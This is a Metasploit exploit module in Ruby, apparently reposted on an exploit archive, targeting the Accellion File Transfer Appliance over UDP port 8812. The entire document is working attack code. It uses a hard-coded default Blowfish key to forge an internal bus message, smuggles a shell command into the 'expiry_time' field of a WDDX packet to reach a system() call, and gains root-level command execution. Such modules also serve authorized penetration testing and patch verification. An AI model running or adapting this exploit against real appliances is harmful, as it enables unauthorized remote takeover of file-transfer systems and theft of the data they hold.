ExploitFixes
Accellion File Transfer Appliance MPIPE2 Command Execution 2011-03-12 09:15:27

##
# $Id: accellion_fta_mpipe2.rb 11935 2011-03-11 17:37:23Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

require 'openssl'
require 'rexml/element'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'Accellion File Transfer Appliance MPIPE2 Command Execution',
'Description' => %q{
This module exploits a chain of vulnerabilities in the Accellion
File Transfer appliance. This appliance exposes a UDP service on
port 8812 that acts as a gateway to the internal communication bus.
This service uses Blowfish encryption for authentication, but the
appliance ships with two easy to guess default authentication keys.
This module abuses the known default encryption keys to inject a
message into the communication bus. In order to execute arbitrary
commands on the remote appliance, a message is injected into the bus
destined for the 'matchrep' service. This service exposes a function
named 'insert_plugin_meta_info' which is vulnerable to an input
validation flaw in a call to system(). This provides access to the
'soggycat' user account, which has sudo privileges to run the
primary admin tool as root. These two flaws are fixed in update
version FTA_8_0_562.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11935 $',
'References' =>
[
['URL', 'http://www.rapid7.com/security-center/advisories/R7-0039.jsp'],
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 7 2011'
))

register_options(
[
Opt::RPORT(8812),
OptString.new('APPID', [true, 'The application ID (usually 1000)', '1000'])
], self.class)
end

def exploit
connect_udp

appid = datastore['APPID']
encoded_command = REXML::Text.new(payload.encoded).to_s

wddx = %Q|
<wddxPacket version='1.0'>
<header/>
<data>
<struct>
<var name='50001'><string>insert_plugin_meta_info</string></var>
<var name='file_handle'><binary length='9'>MDAwMDAwMDAw</binary></var>
<var name='aid'><string>#{appid}</string></var>
<var name='client_ip'><string>127.0.0.1</string></var>
<var name='package_id'><string>1</string></var>
<var name='recipient_list'><array length='1'><string>#{Rex::Text.rand_text_alphanumeric(8)}</string></array></var>
<var name='expiry_time'><string>&apos;; #{encoded_command}; #&apos;</string></var>
</struct>
</data>
</wddxPacket>|

packet = [
rand(0xffffffff), # Source Location ID
8888, # Destination Location ID
rand(0xffff), # Source Application
50001, # Destination Application (matchrep)
Time.now.to_i
].pack("NNnnN") + wddx

header = [
0, # Flags
0, #
1, # Sequence Number (must be the lowest seen from Source ID)
33 # Execute (pass message to destination)
].pack("CCNC") + packet

data = [ simple_checksum(header) ].pack("n") + header
enc = blowfish_encrypt("123456789ABCDEF0123456789ABCDEF0", data)

udp_sock.put("\x01" + enc)

handler
disconnect_udp
end

def simple_checksum(data)
sum = 0
data.unpack("C*").map{ |c| sum = (sum + c) & 0xffff }
sum
end

#
# This implements blowfish-cbc with an MD5-expanded 448-bit key
# using RandomIV for the initial value.
#
def blowfish_encrypt(pass, data)

# Forces 8-bit encoding
pass = pass.unpack("C*").pack("C*")
data = data.unpack("C*").pack("C*")

# Use 448-bit keys with 8-byte IV
key_len = 56
iv_len = 8

# Expand the key with MD5 (key-generated-key mode)
hash = OpenSSL::Digest::MD5.digest(pass)
while (hash.length < key_len)
hash << OpenSSL::Digest::MD5.digest(hash)
end

key = hash[0, key_len]
iv = Rex::Text.rand_text(iv_len)

c = OpenSSL::Cipher::Cipher.new('bf-cbc')
c.encrypt
c.key_len = key_len
c.key = key
c.iv = iv

"RandomIV" + iv + c.update(data) + c.final
end

end